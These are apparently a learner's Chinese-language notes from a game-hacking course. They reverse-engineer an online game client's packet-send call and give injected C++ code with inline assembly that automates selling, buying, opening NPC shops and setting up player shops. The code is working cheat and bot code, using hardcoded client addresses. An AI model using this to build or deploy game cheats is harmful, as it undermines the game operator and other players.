0012A52C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A53C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
//出售3个 狼牙箭
0012A4DC 00 00 92 00 70 00 02 00 00 00 00 00 00 00 95 CA
0012A4EC 9A 3B 03 00 00 00 00 00 00 00 93 B0 0E 00 00 00 //03 为数量
0012A4FC 00 00 E2 F1 0F 7B 9F 2F D5 17 95 CA 9A 3B 03 00 //物品类
0012A50C 00 00 00 00 00 00 01 04 00 00 01 00 00 00 00 00 //04背包下标
0012A51C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A52C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A53C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
//金创药小 1个 0x70
0012A4DC 00 00 92 00 70 00 02 00 00 00 00 00 00 00 65 CA //物品ID号 服上器上唯一的
0012A4EC 9A 3B 01 00 00 00 00 00 00 00 9C B0 0E 00 00 00 //计数
0012A4FC 00 00 69 53 4A AE AB AB D8 17 65 CA 9A 3B 01 00
0012A50C 00 00 00 00 00 00 01 03 00 00 01 00 00 00 00 00 //背包里的下标
0012A51C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A52C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A53C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
//打开NPC 购物售物对话框
//CALL 0043D100
byte sdata[0x80]=
{
00, 00,0x92, 00, 0x70, 00, 02, 00, 00, 00, 00, 00, 00, 00 ,0x65,0xCA,
0x9A ,0x3B ,0x01 ,0x00 ,00 ,00 ,00 ,00 ,00 ,00 ,0x90 ,0xB0,0x0E,00,00,00, //数量1
0x00,00,0x69,0x53,0x4A,0xAE,0xAB,0xAB,0xD8,0x17,0x65 ,0xCA,0x9A,0x3B,0x01,00, //数量1
00 ,00 ,00 ,00 ,00 ,00 ,01 ,04 ,00 ,00 ,01 ,00 ,00 ,00 ,00, 00,
00 ,00 ,00 ,00 ,00 ,00 ,01 ,0 ,00 ,00 ,0 ,00 ,00 ,00 ,00, 00 ,
00 ,00 ,00 ,00 ,00 ,00 ,01 ,0 ,00 ,00 ,0 ,00 ,00 ,00 ,00, 00 ,
00 ,00 ,00 ,00 ,00 ,00 ,01 ,0 ,00 ,00 ,0 ,00 ,00 ,00 ,00, 00
};
void CPAGE1::OnBUTTONSellGoods()
{
// TODO: Add your control notification handler code here
_asm
{
push 0x76
lea edx,sdata;
push edx
MOV ECX,0x1480A68
mov ecx,[ecx]
mov eax,0x0043D100
call eax
}
}
/////////////////////////////////////////////////////////
又是一节大长课53分钟
从本节课开始要正式讲解封包的技术了,其实前面组队的时候也对封包进行了分析,VC班确实比DELPHI班讲的好,至少VC班有封包而D班却没有.
封包是有四个函数(WSASend,send,WSASendto,sendto),先看一下游戏是通过哪个封包函数来进行发送的,是bp WSASend函数,注意大小写哦.今天要弄的是卖东西也就是售物.下断后快速卖物品,马上被断下来,我们反回游戏,看一下在游戏中是哪一段代码在调用封包,老师已经将这段代码复制在教案中了.要仔细找看哪个CALL是专门用来卖物品的.老师在关键CALL入进行了详细的讲解.
出售一下物品断下后将EDX的地址用DB显示出来,再出售3个物品再显示一下EDX比较一下,猜一下哪个是物品数量,哪个是背包格子数,再换成金创药试试.再猜测一下物品的ID.那么我们来测试一下这个CALL和我们的数据是否正确,我们写下代码(教案中).调用了一下,没反应也没有出错,再回来看一下哪句的错误.是ECX的问题,再写入ECX之后卖物品就可以了.我们也发现想购买物品必须是打开NPC才行.
再来测试一下卖出金创药,测试一下没反映,还有几个代码没有写全,再测试一下确实成功了.
3.6.2 售物封包参数来源分析
1、数量分析
2、出售物品类型分析
3、出售物品在背包里的格数
4、编程测试
0012A4DC 00 00 92 00 70 00 02 00 00 00 00 00 00 00 65 CA
0012A4EC 9A 3B 03 00 00 00 00 00 00 00 6F 84 0E 00 00 00
0012A4FC 00 00 69 53 4A AE AB AB D8 17 65 CA 9A 3B 03 00
0012A50C 00 00 00 00 00 00 01 04 00 (00) 01 00 00 00 00 00 //1EE,0A8
ECX=[[[4715294]+3*4+3D8]]
// 65 CA 9A 3B
[data+0x0E]=[ECX+0x4C]
//6F 84 0E
[data+0x1A]=[0x4713410]
//69 53 4A AE
[data+0x22]=[ECX+0x50]
//AB AB D8 17 来源
[data+0x26]=[ECX+0x54]
//65 CA 9A 3B
[data+0x2A]=[ECX+4C]
//03 售出物品数量
[data+0x12]=[data+0x2E]=数量
//04 物品所在背包里边格数
///////////////////
//(00)0C
[data+0x39]=[ECX+4A8]
//
ECX+4A0 //物品总数
////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
byte data[0x70]={ 00 00 92 00 70 00 02 00 00 00 00 00 00 00 00 00
00 00 03 00 00 00 00 00 00 00 6F 84 0E 00 00 00
00 00 69 53 4A AE AB AB D8 17 65 CA 9A 3B 03 00
00 00 00 00 00 00 01 04 00 (00) 01 00 00 00 00 00 };//1EE,0A8
0057F04D |> 8B91 B4040000 MOV EDX,DWORD PTR DS:[ECX+4B4] ; ECX就应该是 背包物品对象
0057F053 |. 8993 D4150000 MOV DWORD PTR DS:[EBX+15D4],EDX
0057F059 |. 8B81 B8040000 MOV EAX,DWORD PTR DS:[ECX+4B8]
0057F05F |. 8983 D8150000 MOV DWORD PTR DS:[EBX+15D8],EAX
0057F065 |. C783 40160000>MOV DWORD PTR DS:[EBX+1640],2 ; 开始
0057F06F |. 8B0D C0304A01 MOV ECX,DWORD PTR DS:[14A30C0]
0057F075 |. 8B91 04020000 MOV EDX,DWORD PTR DS:[ECX+204] ; 拖动物品基址
0057F07B |. 8B82 A0040000 MOV EAX,DWORD PTR DS:[EDX+4A0]
0057F081 |. 8983 4C160000 MOV DWORD PTR DS:[EBX+164C],EAX ; +4A0
0057F087 |. 8B8A A4040000 MOV ECX,DWORD PTR DS:[EDX+4A4]
0057F08D |. 898B 50160000 MOV DWORD PTR DS:[EBX+1650],ECX ; +4A4
0057F093 |. 8B15 C0304A01 MOV EDX,DWORD PTR DS:[14A30C0]
0057F099 |. 8B82 04020000 MOV EAX,DWORD PTR DS:[EDX+204] ; 拖动物品基址
0057F09F |. 8B48 4C MOV ECX,DWORD PTR DS:[EAX+4C]
0057F0A2 |. 898B 48160000 MOV DWORD PTR DS:[EBX+1648],ECX ; +4C
0057F0A8 |. 8B15 10347104 MOV EDX,DWORD PTR DS:[4713410] ; 选中物品类型ID
0057F0AE |. 8993 54160000 MOV DWORD PTR DS:[EBX+1654],EDX ; 写入 物品类型ID
0057F0B4 |. A1 14347104 MOV EAX,DWORD PTR DS:[4713414]
0057F0B9 |. 8983 58160000 MOV DWORD PTR DS:[EBX+1658],EAX ; 00
0057F0BF |. 8B0D C0304A01 MOV ECX,DWORD PTR DS:[14A30C0]
0057F0C5 |. 8B91 04020000 MOV EDX,DWORD PTR DS:[ECX+204] ; 拖动物品基址
0057F0CB |. 8A82 A8040000 MOV AL,BYTE PTR DS:[EDX+4A8]
0057F0D1 |. 8883 73160000 MOV BYTE PTR DS:[EBX+1673],AL ; =Byte:+4A8
0057F0D7 |. 8B0D C0304A01 MOV ECX,DWORD PTR DS:[14A30C0]
0057F0DD |. 8B91 04020000 MOV EDX,DWORD PTR DS:[ECX+204] ; 拖动物品基址
0057F0E3 |. 8B82 A0040000 MOV EAX,DWORD PTR DS:[EDX+4A0]
0057F0E9 |. 8983 68160000 MOV DWORD PTR DS:[EBX+1668],EAX ; +4A0
0057F0EF |. 8B8A A4040000 MOV ECX,DWORD PTR DS:[EDX+4A4]
0057F0F5 |. 898B 6C160000 MOV DWORD PTR DS:[EBX+166C],ECX ; +4A4
0057F0FB |. 8B15 C0304A01 MOV EDX,DWORD PTR DS:[14A30C0]
0057F101 |. 8B82 04020000 MOV EAX,DWORD PTR DS:[EDX+204] ; 拖动物品基址
0057F107 |. 8A88 9C040000 MOV CL,BYTE PTR DS:[EAX+49C]
0057F10D |. 888B 72160000 MOV BYTE PTR DS:[EBX+1672],CL ; BYTE +49C
0057F113 |. 8B15 C0304A01 MOV EDX,DWORD PTR DS:[14A30C0]
0057F119 |. 8B82 04020000 MOV EAX,DWORD PTR DS:[EDX+204] ; 拖动物品基址
0057F11F |. 8B48 4C MOV ECX,DWORD PTR DS:[EAX+4C]
0057F122 |. 898B 64160000 MOV DWORD PTR DS:[EBX+1664],ECX ; +4C
0057F128 |. 8B15 C0304A01 MOV EDX,DWORD PTR DS:[14A30C0]
0057F12E |. 8B82 04020000 MOV EAX,DWORD PTR DS:[EDX+204]
0057F134 |. 8A88 F0010000 MOV CL,BYTE PTR DS:[EAX+1F0]
0057F13A |. 888B 71160000 MOV BYTE PTR DS:[EBX+1671],CL ; BYTE+1F0
0057F140 |. 8B15 C0304A01 MOV EDX,DWORD PTR DS:[14A30C0]
0057F146 |. 8B82 04020000 MOV EAX,DWORD PTR DS:[EDX+204] ; 拖动物品基址
0057F14C |. 8A88 EE010000 MOV CL,BYTE PTR DS:[EAX+1EE]
0057F152 |. 888B 70160000 MOV BYTE PTR DS:[EBX+1670],CL ; byte+1EE
0057F158 |. 8B15 C0304A01 MOV EDX,DWORD PTR DS:[14A30C0]
0057F15E |. 8B82 04020000 MOV EAX,DWORD PTR DS:[EDX+204]
0057F164 |. 8A88 A0000000 MOV CL,BYTE PTR DS:[EAX+A0]
0057F16A |. 888B 75160000 MOV BYTE PTR DS:[EBX+1675],CL ; byte +0A0
0057F170 |. 8B15 C0304A01 MOV EDX,DWORD PTR DS:[14A30C0] ; 基址
0057F176 |. 8B82 04020000 MOV EAX,DWORD PTR DS:[EDX+204] ; dd [14a30c0]+204 选中物品对象(背包里,或者商店里)
0057F17C |. 8A88 A8000000 MOV CL,BYTE PTR DS:[EAX+A8]
0057F182 |. 888B 74160000 MOV BYTE PTR DS:[EBX+1674],CL ; byte +0A8
0057F188 |. 8B15 C0304A01 MOV EDX,DWORD PTR DS:[14A30C0] ; dd [[14a30c0]+204] 拖动物品
0057F18E |. 8B82 04020000 MOV EAX,DWORD PTR DS:[EDX+204]
0057F194 |. 8B48 50 MOV ECX,DWORD PTR DS:[EAX+50]
0057F197 |. 898B 5C160000 MOV DWORD PTR DS:[EBX+165C],ECX ; +50
0057F19D |. 8B50 54 MOV EDX,DWORD PTR DS:[EAX+54]
0057F1A0 |. 8D83 78160000 LEA EAX,DWORD PTR DS:[EBX+1678]
0057F1A6 |. 8993 60160000 MOV DWORD PTR DS:[EBX+1660],EDX ; +54
0057F1AC |. 8B0D C0304A01 MOV ECX,DWORD PTR DS:[14A30C0]
0057F1B2 |. 50 PUSH EAX
0057F1B3 |. 8B89 04020000 MOV ECX,DWORD PTR DS:[ECX+204] ; 选中物品对象
/////////////////////////////////////////
好长的课了65分钟!
继续分析封包.先来分析第一串封包数据:
在封包中要注意常量参数,如果是常量我们就不用管它了,我们发现前面几个封包的数据我们都不需要去管它.这节课又对REP MOVS汇编语句进行了详细的讲解……
再找一下EBX+1640的基址,它是来源于ECX,而ECX就是背包物品对象,用DB看一下物品对象这里…跟踪一下发现了我们所需要的数在寄存器当中显现,并且记录了偏移是4C.然后将我们分析的重点代码复制了下来(教案中那一长串汇编代码)
然后又找到了另一个全局变量的值[4713410].再继续找封包里数据的来源…是EAX+54
再继续找,主要是通过跟踪,看一下寄存器里是否有我们当前所需要的数值,然后记下偏移地址,向上找出基址……就这样一点一点的找,将所有数据都要找出基址或者猜出目标.
如果中途的数据不好找,那么就先清0这片地址,然后再看何时改变的数值……
终于将参数找的差不多了,我们来编写代码来出售包裹物品测试,照着封包的数据仔细的进行代码填写.但是代码还没有写完,今天应该休息了~
随笔:我感觉这就是在找基址嘛,只不过不是普通的找参数基址,而是在找封包里数据的基址.这两节课时间都挺长,看的我都跟不上思路了,不知道老师在找啥东西了,哎~ 一定要仔细学习.
3.6.3、编程实现出售背包指定物品
1、遍历背包指定物品
2、出售第一格物品
3、出售指定物品int SellGoos(char* name)
///////////////////////////////////////////////////
0012A4DC 00 00 92 00 70 00 02 00 00 00 00 00 00 00 65 CA
0012A4EC 9A 3B 03 00 00 00 00 00 00 00 6F 84 0E 00 00 00
0012A4FC 00 00 69 53 4A AE AB AB D8 17 65 CA 9A 3B 03 00
0012A50C 00 00 00 00 00 00 01 04 00 (00) 01 00 00 00 00 00 //1EE,0A8
打开VC,添加个售物的按钮,将之前找到的各个封包的基址等用汇编语句写在代码中.
除以上的数据之外还有很多数据,但都是固定不变的所以也不需要改变
注意要打开NPC才可以卖出测试一下卖物成功了.再换个包裹格子试试,没反映,找到代码处,发现包裹格子数还有一个数值需要更改,最终代码如下:
void CPAGE1::OnBUTTONSellGoods()
{
_asm
{
mov ecx,0x4715294
mov ecx,[ecx]
add ecx,3*4 //出售第3格
add ecx,0x3D8
mov ecx,[ecx] //取某一格物品基址
lea ebx,sdata
mov eax,[ecx+0x4C] //[data+0x0E]=[ECX+0x4C]
mov [ebx+0x0e],eax
mov eax,0x4713410 //[data+0x1A]=[0x4713410]
mov eax,[eax]
mov [ebx+0x1a],eax
mov eax,[ecx+0x50] //[data+0x22]=[ECX+0x50]
mov [ebx+0x22],eax
mov eax,[ecx+0x54]// [data+0x26]=[ECX+0x54]
mov [ebx+0x26],eax
mov eax,[ecx+0x4c]// [data+0x2A]=[ECX+4C]
mov [ebx+0x2A],eax
mov eax,2
mov [ebx+0x12],eax
mov [ebx+0x2E],eax //出售数量
mov eax,[ecx+0x4A8] //[ebx+0x39]=[ecx+4a8]
mov [ebx+0x39],eax
mov eax,3 //要出售背包里物品所在的格数
mov [ebx+0x37],eax
//调用封包CALL
push 0x76
lea edx,sdata;
push edx
MOV ECX,0x1480A68
mov ecx,[ecx]
mov eax,0x0043D100
call eax
}
}
封包的出售物品代码终于完成了,而购物的封包要比出售代码少,这个就留在作业中了.
3.6.4、完善售物功能
1、构建函数int FindIndex(char* name);
FindIndex//用来查询指定物品名name在背包中的位置
2、垃圾物品清单
3、遍历出售所有垃圾物品SellGoods
4、集成到Gameproc.h
int GetGoodsIndex(const char* name)//获取物品在背包里位置下标 ,如果返回-1 则表示不存在
{
char * CurGoodName;
int iaddr;
for (int i=0;i<=35;i++) // 36格
{
iaddr=i*4;
_asm
{
mov ecx,GoodsBase;
mov ecx,[ecx] //mov ecx,[0x45BA62C]
add ecx,iaddr // ecx,[0x45BA62C]+i*4
add ecx,0x3d8 // ecx,[0x45BA62C]+i*4+3d8
mov ecx,[ecx] // ecx,[[0x45BA62C]+i*4+3d8]
mov iaddr,ecx //物品对象iaddr=[[0x45BA62C]+i*4+3d8]
}
if (iaddr>0)
_asm
{
mov ecx,iaddr // ecx=[[0x45BA62C]+i*4+3d8]
add ecx,0x58 // ecx =[[0x45BA62C]+i*4+3d8]+58
mov CurGoodName,ecx //CurGoodName=[[0x45BA62C]+i*4+3d8]+58
}
if (strcmp(name,CurGoodName)==0) { return i;} //遍历找到 指定物品后 返回其数组下标
} //end for
return -1;//遍历背包 未找到指定物品
}//end GetGoodsIndex;
int sellgoods(char * name)
{
// TODO: Add your control notification handler code here
int index=GetGoodsIndex(name);
if (index<0){return -1;} //在背包里不存 名叫name的物品 则退出
int goodbase=index*4;
_asm
{
mov ecx,0x4715294
mov ecx,[ecx]
add ecx,goodbase //出售第3格
add ecx,0x3D8
mov ecx,[ecx] //取某一格物品基址
lea ebx,sdata
mov eax,[ecx+0x4C]
mov [ebx+0x0e],eax
mov eax,0x4713410
mov eax,[eax]
mov [ebx+0x1a],eax
mov eax,[ecx+0x50]
mov [ebx+0x22],eax
mov eax,[ecx+0x54]
mov [ebx+0x26],eax
mov eax,[ecx+0x4c]
mov [ebx+0x2A],eax
mov eax,1 //出售数量
mov eax,[ECX+0x4A0]
mov [ebx+0x12],eax
mov [ebx+0x2E],eax //出售数量
mov eax,[ecx+0x4A8]
mov [ebx+0x39],eax
mov eax,index //要出售背包里物品所在的格数
mov [ebx+0x37],eax //[esp+???]
push 0x76
lea edx,sdata;
push edx
MOV ECX,0x1480A68
mov ecx,[ecx]
mov eax,0x0043D100
call eax
}
return 1;
}
void CPAGE1::OnBUTTONSellGoods() //循环遍历物品
{
char pname[256]; //CSting pname;
int i;
for (i=0;i<m_monlist_ctl.GetCount();i++)
{ m_monlist_ctl.GetText(i,pname); // m_monlist_ctl.GetText(i,pname.GetBuffer(22));
sellgoods(pname);//("金创药(小)"); //
}
}
////////////////////////////////////////////////////////////////
将售物功能再完善一下,让其出售掉游戏中的垃圾物品,继续修改一下代码,将函数改成可以出售任何格,也就是说出售指定物品而不管其在哪个格. 再看一下出售的数量,我们设定为”金创药(小)”这样就将所有的金创药全部出售.测试一下,刚买了5个药,一下子全部出售了.换个格子到最后一格游戏出错了,因为游戏中是36个包裹,而代码中只找35个格所以要改动一下.改掉后测试成功.再测试一下其它的物品,也成功了.
但是这样还是不方便控制,所以要加入一个EDIT文本框,然后遍历物品再出售,这样就形成真正的自动卖物了.弄完代码之后,将金创药和回城符一同就卖掉了,测试成功…这节课讲完了…
啊不,还是有一个问题需要修正一下,还要将所有的功能集成在一个单元中,将几行代码做了一下改动,因为如果不改的话会出现一个问题引起游戏错误.
void CPAGE1::OnBUTTONSellGoods()
{
char pname[256]; //CSting pname;
int i;
for (i=0;i<m_monlist_ctl.GetCount();i++)
{ m_monlist_ctl.GetText(i,pname); m_monlist_ctl.GetText(i,pname.GetBuffer(22));
sellgoods(pname);//("金创药(小)");
}
}
还有 sellgoods这个函数也改一下,也就是当遍历完所有物品都没有的话就返回-1.
再测试一下几种物品,成功了,将代码复制到教案中,好了本节课结束了.
参考:
//物品背包基址特征码
XOR EDX,EDX //上一行是 基址
MOV DL,BYTE PTR DS:[ESI+7]
MOV EBX,DWORD PTR DS:[EAX+EDX*4+3D8]
TEST EBX,EBX
MOV DWORD PTR SS:[EBP-10],EBX
////向上回溯出
MOV EAX,DWORD PTR DS:[ESI+1530]
MOV ECX,DWORD PTR DS:[ESI+14F0]
LEA EBX,DWORD PTR DS:[ESI+14F0]
CMP ECX,EAX
3.6.5、打开NPC购物/售物对话框
1、打开NPC对话
2、打开NPC(买进/卖出)窗口
3、封装到int OpenNpc_buysell();测试
1、普攻
2、买进/卖出 封包CALL
0053EA2E |. B9 000A0000 MOV ECX,0A00
0053EA33 |. 33C0 XOR EAX,EAX ; 0
0053EA35 |. 8DBD FED7FFFF LEA EDI,DWORD PTR SS:[EBP-2802]
0053EA3B |. 66:C785 F8D7F>MOV WORD PTR SS:[EBP-2808],0
0053EA44 |. F3:AB REP STOS DWORD PTR ES:[EDI] ; [edi]-[edi+0A00*4] =0
0053EA46 |. 8B0D 503C5D01 MOV ECX,DWORD PTR DS:[15D3C50]
0053EA4C |. 8D95 F8D7FFFF LEA EDX,DWORD PTR SS:[EBP-2808]
0053EA52 |. 83C6 02 ADD ESI,2
0053EA55 |. 898D 06D8FFFF MOV DWORD PTR SS:[EBP-27FA],ECX ; [15D3C50]
0053EA5B |. 8B0D F8D75801 MOV ECX,DWORD PTR DS:[158D7F8] ; ECX
0053EA61 |. 6A 16 PUSH 16
0053EA63 |. 52 PUSH EDX ; 封包内容
0053EA64 |. 66:C785 FAD7F>MOV WORD PTR SS:[EBP-2806],90
0053EA6D |. 66:C785 FCD7F>MOV WORD PTR SS:[EBP-2804],10
0053EA76 |. 89B5 FED7FFFF MOV DWORD PTR SS:[EBP-2802],ESI ; ESI来源=3买进/卖出,4任务
0053EA7C |. E8 1FE8EFFF CALL Client.0043D2A0 ; 打NPC 购物/售物CALL
0053EA81 |. C605 C8315D01>MOV BYTE PTR DS:[15D31C8],1
0053EA88 |. 5F POP EDI
0053EA89 |> 5E POP ESI
0053EA8A |. 8BE5 MOV ESP,EBP
0053EA8C |. 5D POP EBP
0053EA8D . C2 0400 RETN 4
封包数据分析
data+0x6= ESI
0012A4E0 00 00 90 00 10 00 03 00 00 00 00 00 00 00 03 00 //[15D3C50]=03
0012A4F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A560 00 00 ..
+2=0x90
+5=0x10
+7=ESI
+0x0E=[0x15D3C50]
MOV ECX,0x5C5AC28
mov ecx,[ecx]
mov eax,0x00460480
call eax //打开选中NPC ,攻击怪物(普通攻击)
//初始化封包大小
byte OpenNpcData[0x0A00*4]={0,0,0x90,0,0x10,0,0x3,0,0,0,0,0,0,0,0x3,0};
//+2=0x90
//+5=0x10
//+7=ESI来源=3买进/卖出,4任务
//+0x0E=[0x15D3C50]
int OpenNpcFlag=1;
HWND mainHwnd;
VOID CALLBACK OpenNpc_buysell_timproc(
HWND hwnd, // handle of window for timer messages
UINT uMsg, // WM_TIMER message
UINT idEvent, // timer identifier
DWORD dwTime // current system time
)
{ //普攻
if (OpenNpcFlag==1)
{
OpenNpcFlag++;
BeatMon(); //sleep
return;
}
if (OpenNpcFlag==2)
{ OpenNpcFlag++;
//sleep
_asm
{
mOV ECX,0x158D7F8
mov ecx,[ecx]
PUSH 0x16
lea edx,OpenNpcData
mov eax,0x15D3C50
mov eax,[eax]
mov [edx+0x0e],eax
PUSH EDX
mov eax,SendDataCall;//#define SendDataCall 0x0043D2A0
CALL eax
}
return;
}
if (OpenNpcFlag>=3)
{
KillTimer(mainHwnd,1008);//关闭时间控制
OpenNpcFlag=1;
return;
}
}
int OpenNpc_buysell()
{
::SetTimer(mainHwnd,1008,1000,OpenNpc_buysell_timproc);
return 1;
}
void CPAGE1::OnBUTTONOpenNpcsellbuy()
{
//OpenNpc_buysell();
mainHwnd=this->m_hWnd;
OpenNpc_buysell();
}
//////////////////////////////////////////////////////
又是一节大长课60分钟.老师的教案记的很详细,我主要记录一下过程.
买卖物品都是要打开NPC(商店),今天就来找一下如何打开NPC.
下bp WSASend,打开NPC时被断下,返回上一级.因为选中NPC时只要点攻击就可以打开选项菜单,这样就不需要再分析封包了,我们直接点二级菜单来查找封包代码.我们发现其中的数据非常少,就4个非0的数值……
4个数有3个是常数,剩下的一个是ESI的来源+7的偏移,ESI=3是打开NPC,ESI=4是任务.(汇编代码在教案中)
然后新建一个按钮用来打开NPC操作,在VC里写好代码之后测试一下,没有成功,去掉了一个0x,又将int改成byte…这次打开正确了.因为这是打开二级菜单,所以还需要打开NPC,加入一个普攻的动作,当然还要加入一个选中NPC的功能.测试了一下发现需要点击两下按钮,因为我们发包不能同时发送两个封包,所以加入了一个SetTimer函数定时器来让其隔一下再执行.又进行了代码的编写…测试一下游戏错误.将小错误再改一下这次正确了.
有的人喜欢用SEELP,这样会将整个游戏都停止的,所以是不正确的,所以要用时间控制函数.
最近将写好的代码封装在一个函数中int OpenNpc_buysell().
参考:
0053EA7C |. E8 1FE8EFFF CALL Client.0043D2A0
www.yjxsoft.com
3.6.6、购物功能封包分析
1、封包回溯,找未加密的封包
2、确家关键CALL
3、分析封包
4、功能测试
0012A4DC 00 00 92 00 70 00 01 00 00 00 00 00 00 00 66 CA
0012A4EC 9A 3B 08 00 00 00 00 00 00 00 00 00 00 00 00 00 .............
0012A4FC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A50C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A51C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A52C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A53C 00 .
0012A4DC 00 00 92 00 70 00 01 00 00 00 00 00 00 00 68 CA ..?p._.......h_
0012A4EC 9A 3B 05 00 00 00 00 00 00 00 00 00 00 00 00 00 ?_.............
0012A4DC 00 00 92 00 70 00 01 00 00 00 00 00 00 00 6E CA ..?p._.......n_
0012A4EC 9A 3B 02 00 00 00 00 00 00 00 00 00 00 00 00 00 ?_.............
0012A4FC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A50C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
+0E; 0x3B9ACA6E //dwrod
+12: 物品数量 //dword
byte BuyGoodData[0x1c*4]={00,00,0x92,00,0x70,00,01};
_asm
{
lea edx,BuyGoodData
mov eax, 0x3B9ACA65 //65金创药小 ,68人参
mov [edx+0x0e],eax //购买的物品ID编号
mov eax,1 //购买物品数量
push 0x76
push edx
mov ecx,0x158D7F8 //MOV ECX,DWORD PTR DS:[158D7F8]
mov ecx,[ecx]
mov [edx+0x12],eax
}
0057CA89 |> 8B15 C0018204 MOV EDX,DWORD PTR DS:[48201C0] ; Case B of switch 0057C388
0057CA8F |. A1 C4018204 MOV EAX,DWORD PTR DS:[48201C4]
0057CA94 |. 8DB3 40160000 LEA ESI,DWORD PTR DS:[EBX+1640]
0057CA9A |. B9 1C000000 MOV ECX,1C ; 1C*4
0057CA9F |. 8DBD FAD7FFFF LEA EDI,DWORD PTR SS:[EBP-2806] ; 封包头-6
0057CAA5 |. 66:C785 F6D7F>MOV WORD PTR SS:[EBP-280A],92
0057CAAE |. 66:C785 F8D7F>MOV WORD PTR SS:[EBP-2808],70
0057CAB7 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
0057CAB9 |. 8995 0ED8FFFF MOV DWORD PTR SS:[EBP-27F2],EDX ; 000
0057CABF |. 8985 12D8FFFF MOV DWORD PTR SS:[EBP-27EE],EAX ; 000
0057CAC5 |. C785 FAD7FFFF>MOV DWORD PTR SS:[EBP-2806],2
0057CACF |> 6A 76 PUSH 76
0057CAD1 |> 8D8D F4D7FFFF LEA ECX,DWORD PTR SS:[EBP-280C]
0057CAD7 |. 51 PUSH ECX ; 111111111
0057CAD8 |. 8B0D F8D75801 MOV ECX,DWORD PTR DS:[158D7F8]
0057CADE |. E8 BD07ECFF CALL Client.0043D2A0 ; 鼠标购买物品封包CALL
0057CAE3 |. 8BCB MOV ECX,EBX
0057CAE5 |. E8 C6C40000 CALL Client.00588FB0 ; destroy window
////////////////////////////////////////////////////
找出上节课的参考资料,找到前面找到的发包处下断,然后购买物品,找出上级调用CALL,就是0057cadf call 0043d2a0这里,先找出封包的头部,然后再找到尾部以确实封包大小.先找一下物品数量,找了一下没找到,原来是下断的时候下错了,这次就找出了很简单的封包数据,物品数量是+12,剩下的用常量就可以了,然后编写好代码(在教案中).写好代码后购买物品,一次只购买了一个.最后又将买物封包分析了一下.
参考:
push 封包长度
puhs 封包基址
0053EA7C |. E8 1FE8EFFF CALL Client.0043D2A0 WSASend 上级
www.yjxsoft.com
3.7.1 开店封包分析
a、店名分析
b、封包参数分析
c、为TAB选项卡2 添加内容
d、不同CPP之间共享函数及变量的方法
d、写申请开店代码测试
灰色:00 00 CB 00 开店相关 固定封包
+4黑色:封包长度-6=店名长度+3
15-6=9=6+3
17-6=11=0X0B=8+3
+6青色:开店相关命令:申请开店=01,取消开店=04,确认开店=03,添加物品=02
+7:店名长度
+9:店名
Ctrl+Y 开店
第一个封包 //我的店铺 word=2byte
0012A318 00 00 CB 00 0B 00 01 08 00 CE D2 B5 C4 B5 EA C6 ..?._.我的店_
0012A328 CC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?..............
0012A338 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
第二个封包
0012A318 00 00 CB 00 09 00 01 06 00 41 42 43 44 45 46 00 ..?..__.ABCDEF.
0012A328 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012A338 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
+9: // 店名 字符串 char *
void CPAGE2::OnBUTTONSetUpShop()
{
// TODO: Add your control notification handler code here
// TODO: Add your control notification handler code here
byte ShopData[0x1c*4]={ 00,00,0xCB,00};
ShopData[6]=1; //表示开店
// 郁金香灬店铺
char* shopname="郁金香灬店铺";
strcpy((char*)&ShopData[9],shopname);
ShopData[7]=strlen(shopname);
ShopData[4]=ShopData[7]+3; //
int datasize=ShopData[4]+6;//封包大小
_asm
{
lea edx,ShopData
mov eax, datasize
push eax
push edx
mov ecx,0x158D7F8 //MOV ECX,DWORD PTR DS:[158D7F8]
mov ecx,[ecx]
mov eax,SendDataCall
call eax
}
}
关闭店铺/取消开店
第一次取消开店封包
0012A31C 00 00 CB 00 01 00 04 00 00 00 00 00 00 00 00 00 ..?_._.........
第一次关闭店铺封包
0012A31C 00 00 CB 00 01 00 04 00 00 00 00 00 00 00 00 00 ..?_._.........
确认开店
0012A31C 00 00 CB 00 01 00 03 00 00 00 00 00 00 00 00 00 ..?_._.........
00127C24 00 00 CB 00 51 00 02 65 CA 9A 3B A0 9C 23 88 2B ..?Q._e蕷;牅#?
00127C34 0A D9 18 07 00 01 00 57 04 00 00 00 00 00 00 00 07是出售物品 数量 5704 是价格
00127C44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
开店发包 特征码
006252B8 |> 66:8B45 0C MOV AX,WORD PTR SS:[EBP+C]
006252BC |. 8DBD 75D7FFFF LEA EDI,DWORD PTR SS:[EBP-288B]
006252C2 |. 66:8985 73D7F>MOV WORD PTR SS:[EBP-288D],AX
006252C9 |. C745 FC FFFFF>MOV DWORD PTR SS:[EBP-4],-1
006252D0 |. 0FBFC0 MOVSX EAX,AX
006252D3 |. 8BC8 MOV ECX,EAX
